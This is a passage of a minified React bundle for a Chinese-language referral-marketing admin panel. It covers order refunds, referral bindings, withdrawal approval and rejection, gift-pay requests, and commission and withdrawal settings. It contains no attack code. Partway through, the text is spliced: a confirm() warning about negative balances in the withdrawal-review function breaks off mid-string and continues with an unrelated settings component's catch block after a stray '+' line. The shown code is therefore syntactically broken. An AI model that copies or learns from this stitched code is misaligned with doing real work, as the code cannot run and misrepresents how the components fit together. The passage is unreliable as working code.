hover:bg-orange-500/20",onClick:()=>{fe(q),$("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},q.id)})})]})}),t==="orders"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:q=>{L(q),I(1)}})]})})]}),t==="bindings"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:q=>k(q.target.value),placeholder:"搜索用户昵称、手机号、推广码...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:q=>E(q.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"active",children:"有效"}),s.jsx("option",{value:"converted",children:"已转化"}),s.jsx("option",{value:"expired",children:"已过期"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[pr.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无绑定数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"访客"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销商"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"绑定时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"到期时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"佣金"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:pr.map(q=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-medium",children:q.refereeNickname||"匿名用户"}),s.jsx("p",{className:"text-gray-500 text-xs",children:q.refereePhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white",children:q.referrerName||"-"}),s.jsx("p",{className:"text-gray-500 text-xs font-mono",children:q.referrerCode})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:q.boundAt?new Date(q.boundAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:q.expiresAt?new Date(q.expiresAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(q.status)}),s.jsx("td",{className:"p-4",children:q.commission?s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",q.commission.toFixed(2)]}):s.jsx("span",{className:"text-gray-500",children:"-"})})]},q.id))})]})}),t==="bindings"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:q=>{L(q),I(1)}})]})})]}),t==="withdrawals"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:q=>k(q.target.value),placeholder:"搜索用户名称、账号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:q=>E(q.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待审核"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"rejected",children:"已拒绝"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[Pn.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无提现记录"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请人"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款账号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Pn.map(q=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[q.userAvatar?s.jsx("img",{src:q.userAvatar,alt:"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-gray-600 flex items-center justify-center text-white text-sm font-medium",children:(q.userName||q.name||"?").slice(0,1)}),s.jsx("p",{className:"text-white font-medium",children:q.userName||q.name})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",q.amount.toFixed(2)]})}),s.jsx("td",{className:"p-4",children:s.jsx(qe,{className:q.method==="wechat"?"bg-green-500/20 text-green-400 border-0":"bg-blue-500/20 text-blue-400 border-0",children:q.method==="wechat"?"微信":"支付宝"})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-mono text-xs",children:q.account}),s.jsx("p",{className:"text-gray-500 text-xs",children:q.name})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:q.createdAt?new Date(q.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(q.status)}),s.jsx("td",{className:"p-4 text-right",children:q.status==="pending"&&s.jsxs("div",{className:"flex gap-2 justify-end",children:[s.jsxs(te,{size:"sm",onClick:()=>ln(q.id),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx($v,{className:"w-4 h-4 mr-1"}),"通过"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>yt(q.id),className:"border-red-500/50 text-red-400 hover:bg-red-500/20",children:[s.jsx(Jw,{className:"w-4 h-4 mr-1"}),"拒绝"]})]})})]},q.id))})]})}),t==="withdrawals"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:q=>{L(q),I(1)}})]})})]}),t==="giftPay"&&s.jsx("div",{className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs("div",{className:"flex flex-wrap items-center justify-between gap-4",children:[s.jsx(Qe,{className:"text-white",children:"代付请求列表"}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsxs("select",{className:"bg-[#0a1628] border border-gray-700 text-white rounded px-3 py-1.5 text-sm",value:ye,onChange:q=>{Re(q.target.value),re(1)},children:[s.jsx("option",{value:"",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"paid",children:"已支付"}),s.jsx("option",{value:"cancelled",children:"已取消"}),s.jsx("option",{value:"expired",children:"已过期"})]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>lt("giftPay",!0),className:"border-gray-600 text-gray-300",children:[s.jsx(Ke,{className:"w-4 h-4 mr-1"}),"刷新"]})]})]})}),s.jsxs(Ee,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"请求号"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"发起人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"商品/金额"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"代付人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"创建时间"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:J.map(q=>s.jsxs("tr",{className:"hover:bg-[#0a1628]",children:[s.jsx("td",{className:"p-4 font-mono text-xs text-gray-400",children:q.requestSn}),s.jsx("td",{className:"p-4",children:s.jsx("p",{className:"text-white text-sm",children:q.initiatorNick||q.initiatorUserId})}),s.jsxs("td",{className:"p-4",children:[s.jsxs("p",{className:"text-white",children:[q.productType," · ¥",q.amount.toFixed(2)]}),q.description&&s.jsx("p",{className:"text-gray-500 text-xs",children:q.description})]}),s.jsx("td",{className:"p-4 text-gray-400",children:q.payerNick||(q.payerUserId?q.payerUserId:"-")}),s.jsx("td",{className:"p-4",children:s.jsx(qe,{className:q.status==="paid"?"bg-green-500/20 text-green-400 border-0":q.status==="pending"?"bg-amber-500/20 text-amber-400 border-0":"bg-gray-500/20 text-gray-400 border-0",children:q.status==="paid"?"已支付":q.status==="pending"?"待支付":q.status==="cancelled"?"已取消":"已过期"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:q.createdAt?new Date(q.createdAt).toLocaleString("zh-CN"):"-"})]},q.id))})]})}),J.length===0&&!g&&s.jsx("p",{className:"text-center py-8 text-gray-500",children:"暂无代付请求"}),ue>20&&s.jsx("div",{className:"mt-4 flex justify-center",children:s.jsx(is,{page:B,totalPages:Math.ceil(ue/20),total:ue,pageSize:20,onPageChange:re,onPageSizeChange:()=>{}})})]})]})})]}),s.jsx(Dt,{open:!!ne,onOpenChange:q=>!q&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),ne&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",ne.orderSn||ne.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",typeof ne.amount=="number"?ne.amount.toFixed(2):parseFloat(String(ne.amount||"0")).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:xe,onChange:q=>$(q.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>fe(null),disabled:H,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:Mt,disabled:H,children:H?"退款中...":"确认退款"})]})]})}),s.jsx(Dt,{open:!!P,onOpenChange:q=>!q&&In(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:V,onChange:q=>z(q.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:In,disabled:U,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:nn,disabled:U||!V.trim(),children:U?"提交中...":"确认拒绝"})]})]})}),t==="settings"&&s.jsx("div",{className:"-mx-8 -mt-6",children:s.jsx(zk,{embedded:!0})})]})}function _P(){const[t,e]=b.useState([]),[n,r]=b.useState({total:0,pendingCount:0,pendingAmount:0,successCount:0,successAmount:0,failedCount:0}),[a,i]=b.useState(!0),[o,c]=b.useState(null),[u,h]=b.useState("all"),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(0),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(!1);async function R(){var $,H,oe,P,K,V,z;i(!0),c(null);try{const U=new URLSearchParams({status:u,page:String(f),pageSize:String(g)}),le=await De(`/api/admin/withdrawals?${U}`);if(le!=null&&le.success){const J=le.withdrawals||[];e(J),w(le.total??(($=le.stats)==null?void 0:$.total)??J.length),r({total:((H=le.stats)==null?void 0:H.total)??le.total??J.length,pendingCount:((oe=le.stats)==null?void 0:oe.pendingCount)??0,pendingAmount:((P=le.stats)==null?void 0:P.pendingAmount)??0,successCount:((K=le.stats)==null?void 0:K.successCount)??0,successAmount:((V=le.stats)==null?void 0:V.successAmount)??0,failedCount:((z=le.stats)==null?void 0:z.failedCount)??0})}else c("加载提现记录失败")}catch(U){console.error("Load withdrawals error:",U),c("加载失败,请检查网络后重试")}finally{i(!1)}}b.useEffect(()=>{m(1)},[u]),b.useEffect(()=>{R()},[u,f,g]);const D=Math.ceil(N/g)||1;async function _($){const H=t.find(oe=>oe.id===$);if(H!=null&&H.userCommissionInfo&&H.userCommissionInfo.availableAfterThis<0){if(!confirm(`⚠️ 风险警告:该用户审核后余额为负数(¥${H.userCommissionInfo.availableAfterThis.toFixed(2)}),可能存在超额提现。 +如有缓存,请刷新前台/小程序页面。`)}catch(h){console.error(h),ie.error("保存失败: "+(h instanceof Error?h.message:String(h)))}finally{o(!1)}},u=h=>f=>{const m=parseFloat(f.target.value||"0");n(g=>({...g,[h]:isNaN(m)?0:m}))};return r?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(jl,{className:"w-5 h-5 text-[#38bdac]"}),"推广 / 分销设置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理「好友优惠」「你得 90% 收益」「绑定期 30 天」「提现门槛」等规则,小程序和 Web 共用这套配置。"})]}),s.jsxs(te,{onClick:c,disabled:i||r,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),i?"保存中...":"保存配置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(fA,{className:"w-4 h-4 text-[#38bdac]"}),"推广规则"]}),s.jsx(It,{className:"text-gray-400",children:"这三项会直接体现在小程序「推广规则」卡片上,同时影响实收佣金计算。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"好友优惠(%)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.userDiscount,onChange:u("userDiscount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"例如 5 表示好友立减 5%(在价格配置基础上生效)。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"推广者分成(%)"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx(OP,{className:"flex-1",min:10,max:100,step:1,value:[e.distributorShare],onValueChange:([h])=>n(f=>({...f,distributorShare:h}))}),s.jsx(se,{type:"number",min:0,max:100,className:"w-20 bg-[#0a1628] border-gray-700 text-white text-center",value:e.distributorShare,onChange:u("distributorShare")})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["内容订单佣金 = 订单金额 ×"," ",s.jsxs("span",{className:"text-[#38bdac] font-mono",children:[e.distributorShare,"%"]}),";会员订单见下方。"]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者是会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareVip,onChange:u("vipOrderShareVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者已是会员时,会员订单佣金比例,默认 20%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者非会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareNonVip,onChange:u("vipOrderShareNonVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者非会员时,会员订单佣金比例,默认 10%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"绑定有效期(天)"]}),s.jsx(se,{type:"number",min:1,max:365,className:"bg-[#0a1628] border-gray-700 text-white",value:e.bindingDays,onChange:u("bindingDays")}),s.jsx("p",{className:"text-xs text-gray-500",children:"好友通过你的链接进来并登录后,绑定在你名下的天数。"})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(jl,{className:"w-4 h-4 text-[#38bdac]"}),"提现规则"]}),s.jsx(It,{className:"text-gray-400",children:"与「提现中心」「自动提现」相关的参数,影响推广者看到的可提现金额和最低门槛。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额(元)"}),s.jsx(se,{type:"number",min:0,step:1,className:"bg-[#0a1628] border-gray-700 text-white",value:e.minWithdrawAmount,onChange:u("minWithdrawAmount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序「满 X 元可提现」展示的门槛,同时用于后端接口校验。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:["自动提现开关",s.jsx(We,{variant:"outline",className:"border-[#38bdac]/40 text-[#38bdac] text-[10px]",children:"预留"})]}),s.jsxs("div",{className:"flex items-center gap-3 mt-1",children:[s.jsx(kt,{checked:e.enableAutoWithdraw,onCheckedChange:h=>n(f=>({...f,enableAutoWithdraw:h}))}),s.jsx("span",{className:"text-sm text-gray-400",children:"开启后,可结合定时任务实现「收益自动打款到微信零钱」。"})]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"flex items-center gap-2 text-gray-200 text-sm",children:[s.jsx(Su,{className:"w-4 h-4 text-[#38bdac]"}),"使用说明"]})}),s.jsxs(Ee,{className:"space-y-2 text-xs text-gray-400 leading-relaxed",children:[s.jsxs("p",{children:["1. 以上配置会写入"," ",s.jsx("code",{className:"font-mono text-[11px] text-[#38bdac]",children:"system_config.referral_config"}),",小程序「推广中心」、Web 推广页以及支付回调都会读取同一份配置。"]}),s.jsx("p",{children:"2. 修改后新订单立即生效;旧订单的历史佣金不会自动重算,只影响之后产生的订单。"}),s.jsx("p",{children:"3. 如遇前端展示与实际结算不一致,优先以此处配置为准,再排查缓存和小程序版本。"})]})]})]})]})}function LP(){var Hn;const[t,e]=b.useState("overview"),[n,r]=b.useState([]),[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState([]),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(""),[C,E]=b.useState("all"),[T,I]=b.useState(1),[O,L]=b.useState(10),[R,D]=b.useState(0),[z,Z]=b.useState(new Set),[ne,fe]=b.useState(null),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,q]=b.useState(null),[B,_]=b.useState(""),[W,le]=b.useState(!1),[J,Y]=b.useState([]),[V,re]=b.useState(1),[ue,ce]=b.useState(0),[ye,Re]=b.useState("");b.useEffect(()=>{Le()},[]),b.useEffect(()=>{I(1)},[t,C]),b.useEffect(()=>{lt(t)},[t]),b.useEffect(()=>{["orders","bindings","withdrawals"].includes(t)&<(t,!0),t==="giftPay"&<("giftPay",!0)},[T,O,C,v,V,ye]);async function Le(){w(null);try{const K=await De("/api/admin/distribution/overview");K!=null&&K.success&&K.overview&&i(K.overview)}catch(K){console.error("[Admin] 概览接口异常:",K),w("加载概览失败")}try{const K=await De("/api/db/users");m((K==null?void 0:K.users)||[])}catch(K){console.error("[Admin] 用户数据加载失败:",K)}}async function lt(K,Ue=!1){var Je;if(!(!Ue&&z.has(K))){y(!0);try{const xt=f;switch(K){case"overview":break;case"orders":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C},...v&&{search:v}}),nt=await De(`/api/admin/orders?${ct}`);if(nt!=null&&nt.success&&nt.orders){const gt=nt.orders.map(Rt=>{const gn=xt.find(wr=>wr.id===Rt.userId),mr=Rt.referrerId?xt.find(wr=>wr.id===Rt.referrerId):null;return{...Rt,amount:parseFloat(String(Rt.amount))||0,userNickname:(gn==null?void 0:gn.nickname)||Rt.userNickname||"未知用户",userPhone:(gn==null?void 0:gn.phone)||Rt.userPhone||"-",referrerNickname:(mr==null?void 0:mr.nickname)||null,referrerCode:(mr==null?void 0:mr.referralCode)??null,type:Rt.productType||Rt.type}});r(gt),D(nt.total??gt.length)}else r([]),D(0)}catch(ct){console.error(ct),w("加载订单失败"),r([])}break}case"bindings":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C}}),nt=await De(`/api/db/distribution?${ct}`);c((nt==null?void 0:nt.bindings)||[]),D((nt==null?void 0:nt.total)??((Je=nt==null?void 0:nt.bindings)==null?void 0:Je.length)??0)}catch(ct){console.error(ct),w("加载绑定数据失败"),c([])}break}case"withdrawals":{try{const ct=C==="completed"?"success":C==="rejected"?"failed":C,nt=new URLSearchParams({...ct&&ct!=="all"&&{status:ct},page:String(T),pageSize:String(O)}),gt=await De(`/api/admin/withdrawals?${nt}`);if(gt!=null&>.success&>.withdrawals){const Rt=gt.withdrawals.map(gn=>({...gn,account:gn.account??"未绑定微信号",status:gn.status==="success"?"completed":gn.status==="failed"?"rejected":gn.status}));h(Rt),D((gt==null?void 0:gt.total)??Rt.length)}else gt!=null&>.success||w(`获取提现记录失败: ${(gt==null?void 0:gt.error)||"未知错误"}`),h([])}catch(ct){console.error(ct),w("加载提现数据失败"),h([])}break}case"giftPay":{try{const ct=new URLSearchParams({page:String(V),pageSize:"20",...ye&&{status:ye}}),nt=await De(`/api/admin/gift-pay-requests?${ct}`);nt!=null&&nt.success&&nt.data?(Y(nt.data),ce(nt.total??nt.data.length)):(Y([]),ce(0))}catch(ct){console.error(ct),w("加载代付请求失败"),Y([])}break}}Z(ct=>new Set(ct).add(K))}catch(xt){console.error(xt)}finally{y(!1)}}}async function Tt(){w(null),Z(K=>{const Ue=new Set(K);return Ue.delete(t),Ue}),t==="overview"&&Le(),await lt(t,!0)}async function ln(K){if(confirm("确认审核通过并打款?"))try{const Ue=await zt("/api/admin/withdrawals",{id:K,action:"approve"});if(!(Ue!=null&&Ue.success)){const Je=(Ue==null?void 0:Ue.message)||(Ue==null?void 0:Ue.error)||"操作失败";ie.error(Je);return}await Tt()}catch(Ue){console.error(Ue),ie.error("操作失败")}}function yt(K){q(K),_("")}async function nn(){const K=P;if(!K)return;const Ue=B.trim();if(!Ue){ie.error("请填写拒绝原因");return}le(!0);try{const Je=await zt("/api/admin/withdrawals",{id:K,action:"reject",errorMessage:Ue});if(!(Je!=null&&Je.success)){ie.error((Je==null?void 0:Je.error)||"操作失败");return}ie.success("已拒绝该提现申请"),q(null),_(""),await Tt()}catch(Je){console.error(Je),ie.error("操作失败")}finally{le(!1)}}function In(){P&&ie.info("已取消操作"),q(null),_("")}async function Mt(){var K;if(!(!(ne!=null&&ne.orderSn)&&!(ne!=null&&ne.id))){oe(!0),w(null);try{const Ue=await zt("/api/admin/orders/refund",{orderSn:ne.orderSn||ne.id,reason:xe||void 0});Ue!=null&&Ue.success?(fe(null),$(""),await lt("orders",!0)):w((Ue==null?void 0:Ue.error)||"退款失败")}catch(Ue){const Je=Ue;w(((K=Je==null?void 0:Je.data)==null?void 0:K.error)||"退款失败,请检查网络后重试")}finally{oe(!1)}}}function Yt(K){const Ue={active:"bg-green-500/20 text-green-400",converted:"bg-blue-500/20 text-blue-400",expired:"bg-gray-500/20 text-gray-400",cancelled:"bg-red-500/20 text-red-400",pending:"bg-orange-500/20 text-orange-400",pending_confirm:"bg-orange-500/20 text-orange-400",processing:"bg-blue-500/20 text-blue-400",completed:"bg-green-500/20 text-green-400",rejected:"bg-red-500/20 text-red-400"},Je={active:"有效",converted:"已转化",expired:"已过期",cancelled:"已取消",pending:"待审核",pending_confirm:"待用户确认",processing:"处理中",completed:"已完成",rejected:"已拒绝"};return s.jsx(We,{className:`${Ue[K]||"bg-gray-500/20 text-gray-400"} border-0`,children:Je[K]||K})}const rn=Math.ceil(R/O)||1,Rn=n,pr=o.filter(K=>{var Je,xt,ct,nt;if(!v)return!0;const Ue=v.toLowerCase();return((Je=K.refereeNickname)==null?void 0:Je.toLowerCase().includes(Ue))||((xt=K.refereePhone)==null?void 0:xt.includes(Ue))||((ct=K.referrerName)==null?void 0:ct.toLowerCase().includes(Ue))||((nt=K.referrerCode)==null?void 0:nt.toLowerCase().includes(Ue))}),Pn=u.filter(K=>{var Je;if(!v)return!0;const Ue=v.toLowerCase();return((Je=K.userName)==null?void 0:Je.toLowerCase().includes(Ue))||K.account&&K.account.toLowerCase().includes(Ue)});return s.jsxs("div",{className:"p-8 w-full",children:[N&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex items-center justify-between mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"推广中心"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理:订单、分销绑定、提现审核"})]}),s.jsxs(te,{onClick:Tt,disabled:g,variant:"outline",className:"border-gray-700 text-gray-300 hover:bg-gray-800",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${g?"animate-spin":""}`}),"刷新数据"]})]}),s.jsx("div",{className:"flex gap-2 mb-6 border-b border-gray-700 pb-4 flex-wrap",children:[{key:"overview",label:"数据概览",icon:$c},{key:"orders",label:"订单管理",icon:dh},{key:"bindings",label:"绑定管理",icon:Ss},{key:"withdrawals",label:"提现审核",icon:jl},{key:"giftPay",label:"代付请求",icon:Xw},{key:"settings",label:"推广设置",icon:lo}].map(K=>s.jsxs("button",{type:"button",onClick:()=>{e(K.key),E("all"),k(""),K.key==="giftPay"&&(Re(""),re(1))},className:`flex items-center gap-2 px-4 py-2 rounded-lg text-sm font-medium transition-colors ${t===K.key?"bg-[#38bdac] text-white":"text-gray-400 hover:text-white hover:bg-gray-800"}`,children:[s.jsx(K.icon,{className:"w-4 h-4"}),K.label]},K.key))}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(qe,{className:"w-8 h-8 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[t==="overview"&&a&&s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日点击"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayClicks}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"总点击次数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(Ig,{className:"w-6 h-6 text-blue-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日独立用户"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayUniqueVisitors??0}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"去重访客数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-cyan-500/20 flex items-center justify-center",children:s.jsx(Zn,{className:"w-6 h-6 text-cyan-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] 